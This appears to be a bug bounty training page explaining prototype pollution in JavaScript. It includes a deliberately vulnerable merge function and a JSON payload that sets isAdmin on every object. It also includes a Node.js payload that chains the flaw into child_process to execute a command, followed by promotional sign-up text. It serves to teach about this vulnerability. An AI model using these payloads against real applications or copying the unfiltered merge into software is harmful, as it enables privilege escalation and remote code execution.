Prototype Pollution

High

Prototype Pollution

Definition

Prototype Pollution is a JavaScript-specific vulnerability that lets an attacker modify the prototype of base objects (Object.prototype). By injecting properties into the prototype, every object in the application inherits them, which can lead to XSS, security bypasses or remote code execution.

Impact

Cross-Site Scripting (XSS) through gadgets in third-party librariesBypassing validations and security controlsRemote code execution on the server (Node.js)Denial of servicePrivilege escalation (isAdmin: true)

Examples

Prototype Pollution via object merge

The recursive merge function does not filter the __proto__ key. When the attacker sends JSON with __proto__, the property is assigned to Object's prototype, affecting every object in the application.

// Vulnerable merge function
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Attacker payload
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);

// Now ALL objects have isAdmin: true
const user = {};
console.log(user.isAdmin); // true

Prototype Pollution to RCE in Node.js

In Node.js applications, Prototype Pollution can be chained with child_process functions to achieve remote code execution, since these functions read options such as 'shell' from the prototype when they are not explicitly specified.

// If the application uses child_process.spawn/fork:
const payload = {
  "__proto__": {
    "shell": "/proc/self/exe",
    "argv0": "console.log(require('child_process').execSync('id').toString())//"
  }
};

// By polluting the prototype, when spawn runs without explicit options,
// it inherits shell and argv0 from the prototype, executing arbitrary code.

Practice Prototype Pollution with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
2,482

hunters training

62

labs from real hacks

1,630

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy
Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime